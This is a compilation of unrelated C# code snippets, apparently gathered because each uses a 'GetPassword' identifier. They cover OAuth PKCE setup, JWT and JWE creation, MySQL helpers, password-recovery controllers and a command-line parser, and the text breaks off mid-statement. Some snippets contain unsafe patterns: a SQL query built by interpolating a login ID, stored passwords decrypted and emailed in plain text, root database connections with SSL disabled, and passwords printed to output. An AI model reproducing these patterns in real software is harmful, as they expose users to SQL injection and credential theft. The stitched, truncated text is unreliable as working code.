static void Main(string[] args) { Dictionary <string, Dictionary <string, string> > obj = new Dictionary <string, Dictionary <string, string> >(); for (int i = 0; i < 5; i++) { obj.Add( Guid.NewGuid().ToString("N"), new Dictionary <string, string>() { { "client_secret", GetPassword.Base64UrlSecret(32) }, { "redirect_uri_code", "http://hogehoge" + i.ToString() + "/aaa" }, { "redirect_uri_token", "http://hogehoge" + i.ToString() + "/bbb" }, { "client_name", "hogehoge" + i.ToString() } }); } string json = JsonConvert.SerializeObject(obj, Formatting.Indented); Console.WriteLine(json); //obj = JsonConvert.DeserializeObject<Dictionary<string, Dictionary<string, string>>>(json); //json = Console.ReadLine(); }
public List <string> AllTableNames() { MySqlConnectionStringBuilder sb = new MySqlConnectionStringBuilder(); sb.Server = ServerIP; sb.SslMode = MySqlSslMode.None; sb.UserID = "root"; sb.Password = GetPassword.Get(); //sb.Database = dbName; List <string> ret = new List <string>(); string query = string.Format("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = '{0}'", RAMDBName); using (MySqlConnection connection = new MySqlConnection(sb.ToString())) { connection.Open(); using (MySqlCommand cmd = new MySqlCommand(query, connection)) { using (MySqlDataReader reader = cmd.ExecuteReader()) { while (reader.Read()) { string id = reader.GetString(0); ret.Add(id); } } } connection.Close(); } return(ret); }
public GetPassword GetPassword(GetPassword password) { //string fetchUser = $"SELECT * FROM Mobifix_DB.USER_TBL WHERE LOWER(LOGIN_ID) = { loginID.ToLower() } AND LOGIN_PWD = { pwd }"; string fetchUser = $"SELECT LOGIN_PWD from USER_TBL WHERE LOWER(LOGIN_ID) = '{password.LoginId.ToLowerInvariant()}' "; var dtResult = mySqlHelper.ExecuteQuery(fetchUser); var getpassword = FillGetPasswordModel(dtResult); return(getpassword.FirstOrDefault <GetPassword>()); }
/// <summary> /// /// </summary> /// <param name="Options">Command line parameters</param> public override void GetPassword(GetPassword Options) { SetReporting(Options.Report, Options.Verbose); GetProfile(Options.Portal, Options.UDF); GetMeshClient(); GetPasswordProfile(); var Entry = PasswordProfile.Get(Options.Site.Value); Report("Username {0} Password {1}", Entry.Username, Entry.Password); }
public ActionResult GetPassWord(GetPassword model) { using (var db = new MyDbDataContext()) { User detailUser = db.Users.FirstOrDefault(a => a.Email == model.Email && a.UserName == model.UserName); if (Convert.ToDateTime(CurrentSession.LockUser) > DateTime.Now) { DateTime dateBlog = Convert.ToDateTime(CurrentSession.LockUser); int minuteLock = dateBlog.Minute + (dateBlog.Hour * 60) - DateTime.Now.Minute - (DateTime.Now.Hour * 60); ModelState.AddModelError("Email", "You have entered too many times, please come back later " + minuteLock + " Minute."); return(View()); } if (detailUser == null) { if (TempData["Count"] == null) { TempData["Count"] = 1; TempData.Keep("Count"); } else { TempData["Count"] = int.Parse(TempData["Count"].ToString()) + 1; TempData.Keep("Count"); } if (int.Parse(TempData["Count"].ToString()) == 5) { DateTime dateBlog = DateTime.Now.AddMinutes(1); CurrentSession.LockUser = dateBlog; int minuteLock = dateBlog.Minute + (dateBlog.Hour * 60) - DateTime.Now.Minute - (DateTime.Now.Hour * 60); TempData.Remove("Count"); ModelState.AddModelError("Email", "You have entered too many times, please come back later " + minuteLock + " Minute."); return(View()); } ModelState.AddModelError("Email", "Email or username is incorrect, you still " + (5 - int.Parse(TempData["Count"].ToString())) + " enter"); return(View()); } string content = System.IO.File.ReadAllText(Server.MapPath("/Areas/Administrator/Content/Teamplate/Forgot_Password.html")); content = content.Replace("{{Password}}", CryptorEngine.Decrypt(detailUser.PasswordOld, true)); MailHelper.SendMail(detailUser.Email, "Password retrieval", content); ViewBag.Messeages = "Please login to the email password: "******" to retrieval password."; return(View()); } }
public IHttpActionResult GetPassword([FromBody] GetPassword password) { var userRepo = new UserRepository(); var getpassword = userRepo.GetPassword(password); if (getpassword == null) { return(NotFound()); } return(Ok(getpassword)); }
public ActionResult GetPassWord(GetPassword model) { using (var db = new MyDbDataContext()) { User detailUser = db.Users.FirstOrDefault(a => a.Email == model.Email && a.UserName == model.UserName); if (Convert.ToDateTime(CurrentSession.LockUser) > DateTime.Now) { DateTime dateBlog = Convert.ToDateTime(CurrentSession.LockUser); int minuteLock = dateBlog.Minute + (dateBlog.Hour * 60) - DateTime.Now.Minute - (DateTime.Now.Hour * 60); ModelState.AddModelError("Email", "Bạn đã nhập quá nhiều lần quy định, xin vui lòng quay lại sau " + minuteLock + " Phút."); return(View()); } if (detailUser == null) { if (TempData["Count"] == null) { TempData["Count"] = 1; TempData.Keep("Count"); } else { TempData["Count"] = int.Parse(TempData["Count"].ToString()) + 1; TempData.Keep("Count"); } if (int.Parse(TempData["Count"].ToString()) == 5) { DateTime dateBlog = DateTime.Now.AddMinutes(1); CurrentSession.LockUser = dateBlog; int minuteLock = dateBlog.Minute + (dateBlog.Hour * 60) - DateTime.Now.Minute - (DateTime.Now.Hour * 60); TempData.Remove("Count"); ModelState.AddModelError("Email", "Bạn đã nhập quá nhiều lần quy định, xin vui lòng quay lại sau " + minuteLock + " phút."); return(View()); } ModelState.AddModelError("Email", "Email hoặc tên người dùng là không chính xác, bạn còn " + (5 - int.Parse(TempData["Count"].ToString())) + " lần nhập"); return(View()); } string content = System.IO.File.ReadAllText(Server.MapPath("/Areas/Administrator/Content/Teamplate/Forgot_Password.html")); content = content.Replace("{{Password}}", CryptorEngine.Decrypt(detailUser.PasswordOld, true)); MailHelper.SendMail(detailUser.Email, "Lấy lại mật khẩu", content); ViewBag.Messeages = "Vui lòng đăng nhập vào địa chỉ email: " + model.Email + " để lấy lại mật khẩu."; return(View()); } }
/// <summary>Version 1</summary> /// <param name="password">password</param> /// <returns>hashPassword</returns> private string V1HashAlgorithm(string password) { // $1$ バージョンの実装 return("$1$" + "." + GetKeyedHash.GetSaltedPassword( password, // password EnumKeyedHashAlgorithm.MACTripleDES, // algorithm GetPassword.Generate(10, 3), // key(pwd) 10, // salt length ASPNETIdentityConfig.StretchCount // stretch count )); }
public ActionResult AuthorizationCode_PKCE_S256() { this.Init(); this.CodeVerifier = GetPassword.Base64UrlSecret(50); this.CodeChallenge = OAuth2AndOIDCClient.PKCE_S256_CodeChallengeMethod(this.CodeVerifier); this.Save(); // Authorization Code Flow (PKCE S256) return(Redirect(this.AssembleOAuth2Starter( OAuth2AndOIDCConst.AuthorizationCodeResponseType) + "&code_challenge=" + this.CodeChallenge + "&code_challenge_method=" + OAuth2AndOIDCConst.PKCE_S256)); }
/// <summary>初期化</summary> private void Init() { this.OAuthAuthorizeEndpoint = ASPNETIdentityConfig.OAuth2AuthorizationServerEndpointsRootURI + ASPNETIdentityConfig.OAuth2AuthorizeEndpoint; this.ClientId = OAuth2Helper.GetInstance().GetClientIdByName("TestClient"); this.State = GetPassword.Generate(10, 0); // 記号は入れない。 this.Nonce = GetPassword.Generate(20, 0); // 記号は入れない。 this.CodeVerifier = ""; this.CodeChallenge = ""; }
public ActionResult AuthorizationCode_PKCE_Plain() { this.Init(); this.CodeVerifier = GetPassword.Base64UrlSecret(50); this.CodeChallenge = this.CodeVerifier; this.Save(); // Authorization Code Flow (PKCE plain) return(Redirect(this.AssembleOAuth2Starter( ASPNETIdentityConst.AuthorizationCodeResponseType) + "&code_challenge=" + this.CodeChallenge + "&code_challenge_method=plain")); }
/// <summary>テスト用にパラメタを初期化</summary> private void InitOAuth2Params() { this.OAuth2AuthorizeEndpoint = Config.OAuth2AuthorizationServerEndpointsRootURI + Config.OAuth2AuthorizeEndpoint; this.ClientId = Helper.GetInstance().GetClientIdByName(this.ClientName); // ココでは、まだ、response_typeが明確にならないので取得できない。 //this.RedirectUri = Helper.GetInstance().GetClientsRedirectUri(this.ClientName, response_type); this.State = GetPassword.Generate(10, 0); // 記号は入れない。 this.Nonce = GetPassword.Generate(20, 0); // 記号は入れない。 this.CodeVerifier = ""; this.CodeChallenge = ""; }
private string SelectBookmarksFilePassword() { var uc = new GetPassword(); var paswordForm = FormFactory.CreateModalForm(uc); paswordForm.StartPosition = FormStartPosition.CenterParent; paswordForm.ShowInTaskbar = false; paswordForm.FormBorderStyle = FormBorderStyle.FixedSingle; if (paswordForm.ShowDialog(this) == DialogResult.OK) { return(uc.SelectedPassword); } return(null); }
public static PwEntry GetKeepassEntry(PassEntry entry, GetPassword getPassword, ICollection <string> protect) { var resultidx = new PwEntryIndexer(new PwEntry(true, true), protect); var fields = new Dictionary <string, string>(); var notes = ParseNotes(entry.notes ?? "", fields); foreach (var field in fields) { resultidx[field.Key] = field.Value; } var pw = getPassword(entry); if (!pw.Equals(EmptyPassword)) { resultidx[PwDefs.PasswordField] = pw; } if (!entry.name.Equals(EmptyUsername)) { resultidx[PwDefs.UserNameField] = entry.name; } if (!entry.revision.Equals("")) { resultidx[RevisionField] = entry.revision; } if (entry.site.Equals(EmptyUrl)) { resultidx[PwDefs.TitleField] = entry.name; } else { resultidx[PwDefs.TitleField] = entry.site; resultidx[PwDefs.UrlField] = entry.site; } notes = notes.Replace("\r\n", "\n").Replace("\r", "\n").Replace("\n", "\r\n").Trim(); if (!notes.Equals("")) { resultidx[PwDefs.NotesField] = notes; } return(resultidx.entry); }
/// <summary>テスト用にパラメタを初期化</summary> private void InitSaml2Params() { this.Saml2RequestEndpoint = Config.OAuth2AuthorizationServerEndpointsRootURI + Config.Saml2RequestEndpoint; // Issuer (RootURI + ClientId) this.ClientId = Helper.GetInstance().GetClientIdByName(this.ClientName); this.Issuer = "http://" + ClientId; if (this.ClarifyRedirectUri) { this.RedirectUri = Helper.GetInstance().GetAssertionConsumerServiceURL(this.ClientId); } // RelayStateに入れる(本来の用途と異なるが)。 this.State = GetPassword.Generate(10, 0); // 記号は入れない。 }
} /*CHECK COMPLETE*/ public DataTable UpdateCountry() { GetPassword obj = new GetPassword(); try { DataTable dt = obj.UpdateCountry(); return(dt); } catch { throw; } finally { obj = null; } }
/// <summary>JWT生成</summary> private void btnJWTSign_Click(object sender, EventArgs e) { if (rbnJWTHS256.Checked) { // HS256 string password = GetPassword.Generate(20, 10); JWT_HS256 jwtHS256 = new JWT_HS256(CustomEncode.StringToByte(password, CustomEncode.UTF_8)); // 生成 string jwt = jwtHS256.Create(this.txtJWTPayload.Text); // 出力 this.txtJWTKey.Text = password; this.txtJWTJWK.Text = jwtHS256.JWK; this.txtJWTSign.Text = jwt; // 改竄可能なフィールドに出力 string[] temp = jwt.Split('.'); this.txtJWTHeader.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[0]), CustomEncode.UTF_8); this.txtJWTPayload.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[1]), CustomEncode.UTF_8); } else { // RS256 (X509Cer) JWT_RS256 jwtRS256 = new JWT_RS256(this.CertificateFilePath_pfx, this.CertificateFilePassword); // 生成 string jwt = jwtRS256.Create(this.txtJWTPayload.Text); // 出力 this.txtJWTSign.Text = jwt; // 改竄可能なフィールドに出力 string[] temp = jwt.Split('.'); this.txtJWTHeader.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[0]), CustomEncode.UTF_8); this.txtJWTPayload.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[1]), CustomEncode.UTF_8); } }
/// <summary>JWE生成メソッド</summary> /// <param name="payloadJson">ペイロード部のJson文字列</param> /// <returns>JWEの文字列表現</returns> public string Create(string payloadJson) { // ヘッダー string headerJson = JsonConvert.SerializeObject( this.JWEHeader, new JsonSerializerSettings() { Formatting = Formatting.None, NullValueHandling = NullValueHandling.Ignore }); byte[] headerBytes = CustomEncode.StringToByte(headerJson, CustomEncode.UTF_8); string headerEncoded = CustomEncode.ToBase64UrlString(headerBytes); // コンテンツ暗号化キー(CEK) byte[] cekBytes = GetPassword.RandomByte(this.CekByteLength); byte[] encryptedCekBytes = this.CreateKey(cekBytes); // 派生を呼ぶ string encryptedCekEncoded = CustomEncode.ToBase64UrlString(encryptedCekBytes); // 初期化ベクトル byte[] ivBytes = GetPassword.RandomByte(this.IvByteLength); string ivEncoded = CustomEncode.ToBase64UrlString(ivBytes); // 追加認証データ(AAD) byte[] aadBytes = CustomEncode.StringToByte(headerEncoded, CustomEncode.us_ascii); // ペイロード(認証付き暗号(AEAD)による暗号化) byte[] payloadBytes = CustomEncode.StringToByte(payloadJson, CustomEncode.UTF_8); AeadResult result = this.CreateBody(cekBytes, ivBytes, aadBytes, payloadBytes); // 派生を呼ぶ byte[] encryptedPayloadBytes = result.Ciphert; string encryptedPayloadEncoded = CustomEncode.ToBase64UrlString(encryptedPayloadBytes); // 認証タグ(MAC) byte[] macBytes = result.Tag; string macEncoded = CustomEncode.ToBase64UrlString(macBytes); // return JWE return(headerEncoded + "." + encryptedCekEncoded + "." + ivEncoded + "." + encryptedPayloadEncoded + "." + macEncoded); }
private IList <GetPassword> FillGetPasswordModel(DataTable dtUsers) { var userList = new List <GetPassword>(); if (null != dtUsers && dtUsers.Rows.Count > 0) { foreach (DataRow row in dtUsers.Rows) { var user = new GetPassword(); user.Password = Convert.ToString(row["LOGIN_PWD"]); user.Id = Convert.ToString(row["CUST_VEND_ADMIN_ID"]); user.FirstName = row["FIRST_NAME"].ToString(); user.LastName = row["LAST_NAME"].ToString(); user.LoginId = row["LOGIN_ID"].ToString(); user.UserType = Convert.ToString(row["FK_USER_TYPE_ID"]); user.ContactNumber = Convert.ToString(row["CONTACT_NUMBER"]); user.AddressLine1 = row["ADDR_LINE1"].ToString(); user.AddressLine2 = row["ADDR_LINE2"].ToString(); user.NoOfAttempts = Convert.ToInt32(row["NUM_OF_FAILED_ATTEMPTS"]); user.LastLoginDate = Convert.ToDateTime(row["LAST_LOGIN_DT"]); UserStatus userStatus; if (Enum.TryParse <UserStatus>(row["FK_USER_STATUS_CD"].ToString(), out userStatus)) { //need to fix user.UserStatus = row["FK_USER_STATUS_CD"].ToString(); } //user.CreatedDate = Convert.ToDateTime(row["CREATED_DATE"].ToString()); //user.CrearedBy = row["CREATED_BY"].ToString(); //user.LastUpdateDate = Convert.ToDateTime(row["LASTMODIFIED_DATE"]); //user.LastUpdateBy = row["LASTMODIFIED_BY"].ToString(); userList.Add(user); } } return(userList); }
public void Persistence() { MySqlConnectionStringBuilder sb = new MySqlConnectionStringBuilder(); sb.Server = ServerIP; sb.SslMode = MySqlSslMode.None; sb.UserID = "root"; sb.Password = GetPassword.Get(); //sb.Database = dbName; var names = AllTableNames(); using (MySqlConnection connection = new MySqlConnection(sb.ToString())) { connection.Open(); foreach (string name in names) { Persistence(connection, name); Console.WriteLine(name + " Persistence"); } connection.Close(); } }
extern public static int BS2_SetSSLHandler(IntPtr context, PreferMethod cbPreferMethod, GetRootCaFilePath cbGetRootCaFilePath, GetServerCaFilePath cbGetServerCaFilePath, GetServerPrivateKeyFilePath cbGetServerPrivateKeyFilePath, GetPassword cbGetPassword, OnErrorOccured cbOnErrorOccured);
/// <summary>CreateRefreshToken</summary> /// <param name="context"></param> private void CreateRefreshToken(AuthenticationTokenCreateContext context) { // context.SetToken(context.SerializeTicket()); // -------------------------------------------------- if (ASPNETIdentityConfig.EnableRefreshToken) { // EnableRefreshToken == true string token = GetPassword.Base64UrlSecret(128); // Guid.NewGuid().ToString(); // copy properties and set the desired lifetime of refresh token. AuthenticationProperties refreshTokenProperties = new AuthenticationProperties(context.Ticket.Properties.Dictionary) { // IssuedUtcとExpiredUtcという有効期限プロパティをAuthenticationTicketに追加 IssuedUtc = context.Ticket.Properties.IssuedUtc, ExpiresUtc = DateTime.UtcNow.Add(ASPNETIdentityConfig.OAuthRefreshTokenExpireTimeSpanFromDays) // System.TimeSpan.FromSeconds(20)) // Debug時 }; // AuthenticationTicket.IdentityのClaimsIdentity値を含む有効期限付きの新しいAuthenticationTicketを作成する。 AuthenticationTicket refreshTokenTicket = new AuthenticationTicket(context.Ticket.Identity, refreshTokenProperties); // 新しいrefreshTokenTicketをConcurrentDictionaryに保存 // consider storing only the hash of the handle. TicketSerializer serializer = new TicketSerializer(); byte[] bytes = serializer.Serialize(refreshTokenTicket); switch (ASPNETIdentityConfig.UserStoreType) { case EnumUserStoreType.Memory: RefreshTokenProvider.RefreshTokens.TryAdd(token, refreshTokenTicket); break; case EnumUserStoreType.SqlServer: case EnumUserStoreType.ODPManagedDriver: case EnumUserStoreType.PostgreSQL: // DMBMS using (IDbConnection cnn = DataAccess.CreateConnection()) { cnn.Open(); switch (ASPNETIdentityConfig.UserStoreType) { case EnumUserStoreType.SqlServer: cnn.Execute( "INSERT INTO [RefreshTokenDictionary] ([Key], [Value], [CreatedDate]) VALUES (@Key, @Value, @CreatedDate)", new { Key = token, Value = bytes, CreatedDate = DateTime.Now }); break; case EnumUserStoreType.ODPManagedDriver: cnn.Execute( "INSERT INTO \"RefreshTokenDictionary\" (\"Key\", \"Value\", \"CreatedDate\") VALUES (:Key, :Value, :CreatedDate)", new { Key = token, Value = bytes, CreatedDate = DateTime.Now }); break; case EnumUserStoreType.PostgreSQL: cnn.Execute( "INSERT INTO \"refreshtokendictionary\" (\"key\", \"value\", \"createddate\") VALUES (@Key, @Value, @CreatedDate)", new { Key = token, Value = bytes, CreatedDate = DateTime.Now }); break; } } break; } context.SetToken(token); } else { // EnableRefreshToken == false } }
/// <summary>JWT生成</summary> private void btnJWTSign_Click(object sender, EventArgs e) { if (rbnJWTHS256.Checked) { // HS256 string password = GetPassword.Generate(20, 10); JWT_HS256 jwtHS256 = new JWT_HS256(CustomEncode.StringToByte(password, CustomEncode.UTF_8)); // 生成 string jwt = jwtHS256.Create(this.txtJWTPayload.Text); // 出力 this.txtJWTKey.Text = password; this.txtJWTJWK.Text = jwtHS256.JWK; this.txtJWTSign.Text = jwt; // 改竄可能なフィールドに出力 string[] temp = jwt.Split('.'); this.txtJWTHeader.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[0]), CustomEncode.UTF_8); this.txtJWTPayload.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[1]), CustomEncode.UTF_8); } else if (rbnJWTRS256_XML.Checked) { // RS256 (XML) JWT_RS256_XML jwtRS256 = new JWT_RS256_XML(); // 生成 string jwt = jwtRS256.Create(this.txtJWTPayload.Text); // 出力 this.txtJWTKey.Text = jwtRS256.XMLPublicKey; this.txtJWTJWK.Text = RS256_KeyConverter.ParamToJwkPublicKey( RS256_KeyConverter.XmlToProvider(jwtRS256.XMLPublicKey).ExportParameters(false)); this.txtJWTSign.Text = jwt; // 改竄可能なフィールドに出力 string[] temp = jwt.Split('.'); this.txtJWTHeader.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[0]), CustomEncode.UTF_8); this.txtJWTPayload.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[1]), CustomEncode.UTF_8); } else if (rbnJWTRS256_Param.Checked) { // RS256 (Param) JWT_RS256_Param jwtRS256 = new JWT_RS256_Param(); // 生成 string jwt = jwtRS256.Create(this.txtJWTPayload.Text); // 出力 this.txtJWTKey.Text = RS256_KeyConverter.ParamToXmlPublicKey(jwtRS256.RsaPublicParameters); this.txtJWTJWK.Text = RS256_KeyConverter.ParamToJwkPublicKey(jwtRS256.RsaPublicParameters); this.txtJWTSign.Text = jwt; // 改竄可能なフィールドに出力 string[] temp = jwt.Split('.'); this.txtJWTHeader.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[0]), CustomEncode.UTF_8); this.txtJWTPayload.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[1]), CustomEncode.UTF_8); } else { // RS256 (X509) JWT_RS256_X509 jwtRS256 = new JWT_RS256_X509(this.CertificateFilePath_pfx, this.CertificateFilePassword, X509KeyStorageFlags.Exportable | X509KeyStorageFlags.MachineKeySet); // 生成 string jwt = jwtRS256.Create(this.txtJWTPayload.Text); // 出力 this.txtJWTKey.Text = jwtRS256.DigitalSignX509.X509PublicKey; this.txtJWTJWK.Text = RS256_KeyConverter.ParamToJwkPublicKey( RS256_KeyConverter.X509CerToProvider( this.CertificateFilePath_cer).ExportParameters(false)); this.txtJWTSign.Text = jwt; // 改竄可能なフィールドに出力 string[] temp = jwt.Split('.'); this.txtJWTHeader.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[0]), CustomEncode.UTF_8); this.txtJWTPayload.Text = CustomEncode.ByteToString( CustomEncode.FromBase64UrlString(temp[1]), CustomEncode.UTF_8); } }
private static void Handle_GetPassword ( Shell Dispatch, string[] args, int index) { GetPassword Options = new GetPassword (); var Registry = new Goedel.Registry.Registry (); Options.Site.Register ("site", Registry, (int) TagType_GetPassword.Site); Options.Portal.Register ("portal", Registry, (int) TagType_GetPassword.Portal); Options.UDF.Register ("udf", Registry, (int) TagType_GetPassword.UDF); Options.Verbose.Register ("verbose", Registry, (int) TagType_GetPassword.Verbose); Options.Report.Register ("report", Registry, (int) TagType_GetPassword.Report); // looking for parameter Param.Name} if (index < args.Length && !IsFlag (args [index][0] )) { // Have got the parameter, call the parameter value method Options.Site.Parameter (args [index]); index++; } #pragma warning disable 162 for (int i = index; i< args.Length; i++) { if (!IsFlag (args [i][0] )) { throw new System.Exception ("Unexpected parameter: " + args[i]);} string Rest = args [i].Substring (1); TagType_GetPassword TagType = (TagType_GetPassword) Registry.Find (Rest); // here have the cases for what to do with it. switch (TagType) { case TagType_GetPassword.Portal : { int OptionParams = Options.Portal.Tag (Rest); if (OptionParams>0 && ((i+1) < args.Length)) { if (!IsFlag (args [i+1][0] )) { i++; Options.Portal.Parameter (args[i]); } } break; } case TagType_GetPassword.UDF : { int OptionParams = Options.UDF.Tag (Rest); if (OptionParams>0 && ((i+1) < args.Length)) { if (!IsFlag (args [i+1][0] )) { i++; Options.UDF.Parameter (args[i]); } } break; } case TagType_GetPassword.Verbose : { int OptionParams = Options.Verbose.Tag (Rest); if (OptionParams>0 && ((i+1) < args.Length)) { if (!IsFlag (args [i+1][0] )) { i++; Options.Verbose.Parameter (args[i]); } } break; } case TagType_GetPassword.Report : { int OptionParams = Options.Report.Tag (Rest); if (OptionParams>0 && ((i+1) < args.Length)) { if (!IsFlag (args [i+1][0] )) { i++; Options.Report.Parameter (args[i]); } } break; } default : throw new System.Exception ("Internal error"); } } #pragma warning restore 162 Dispatch.GetPassword (Options); }
private static void Usage () { Console.WriteLine ("brief"); Console.WriteLine (""); { #pragma warning disable 219 Reset Dummy = new Reset (); #pragma warning restore 219 Console.Write ("{0}reset ", UsageFlag); Console.WriteLine (); Console.WriteLine (" Delete all test profiles"); } { #pragma warning disable 219 Device Dummy = new Device (); #pragma warning restore 219 Console.Write ("{0}device ", UsageFlag); Console.Write ("[{0}] ", Dummy.DeviceID.Usage (null, "id", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceDescription.Usage (null, "dd", UsageFlag)); Console.Write ("[{0}] ", Dummy.Default.Usage ("default", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Create new device profile"); } { #pragma warning disable 219 Personal Dummy = new Personal (); #pragma warning restore 219 Console.Write ("{0}personal ", UsageFlag); Console.Write ("[{0}] ", Dummy.Portal.Usage (null, "portal", UsageFlag)); Console.Write ("[{0}] ", Dummy.Description.Usage (null, "pd", UsageFlag)); Console.Write ("[{0}] ", Dummy.Next.Usage ("next", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceNew.Usage ("new", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceUDF.Usage ("dudf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceID.Usage ("did", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceDescription.Usage ("dd", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Create new personal profile"); } { #pragma warning disable 219 Register Dummy = new Register (); #pragma warning restore 219 Console.Write ("{0}register ", UsageFlag); Console.Write ("[{0}] ", Dummy.UDF.Usage (null, "udf", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage (null, "portal", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Register the specified profile at a new portal"); } { #pragma warning disable 219 Sync Dummy = new Sync (); #pragma warning restore 219 Console.Write ("{0}sync ", UsageFlag); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Synchronize local copies of Mesh profiles with the server"); } { #pragma warning disable 219 Escrow Dummy = new Escrow (); #pragma warning restore 219 Console.Write ("{0}escrow ", UsageFlag); Console.Write ("[{0}] ", Dummy.Quorum.Usage ("quorum", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Shares.Usage ("shares", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Create a set of key escrow shares"); } { #pragma warning disable 219 Export Dummy = new Export (); #pragma warning restore 219 Console.Write ("{0}export ", UsageFlag); Console.Write ("[{0}] ", Dummy.File.Usage (null, "file", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Export the specified profile data to the specified file"); } { #pragma warning disable 219 Import Dummy = new Import (); #pragma warning restore 219 Console.Write ("{0}import ", UsageFlag); Console.Write ("[{0}] ", Dummy.File.Usage (null, "file", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Import the specified profile data to the specified file"); } { #pragma warning disable 219 List Dummy = new List (); #pragma warning restore 219 Console.Write ("{0}list ", UsageFlag); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" List all profiles on the local machine"); } { #pragma warning disable 219 Dump Dummy = new Dump (); #pragma warning restore 219 Console.Write ("{0}dump ", UsageFlag); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Describe the specified profile"); } { #pragma warning disable 219 Pending Dummy = new Pending (); #pragma warning restore 219 Console.Write ("{0}pending ", UsageFlag); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Get list of pending connection requests"); } { #pragma warning disable 219 Connect Dummy = new Connect (); #pragma warning restore 219 Console.Write ("{0}connect ", UsageFlag); Console.Write ("[{0}] ", Dummy.Portal.Usage (null, "portal", UsageFlag)); Console.Write ("[{0}] ", Dummy.PIN.Usage ("pin", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceNew.Usage ("new", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceUDF.Usage ("dudf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceID.Usage ("did", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.DeviceDescription.Usage ("dd", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Connect to an existing profile registered at a portal"); } { #pragma warning disable 219 Accept Dummy = new Accept (); #pragma warning restore 219 Console.Write ("{0}accept ", UsageFlag); Console.Write ("[{0}] ", Dummy.DeviceUDF.Usage (null, "udf", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Accept a pending connection"); } { #pragma warning disable 219 Complete Dummy = new Complete (); #pragma warning restore 219 Console.Write ("{0}complete ", UsageFlag); Console.Write 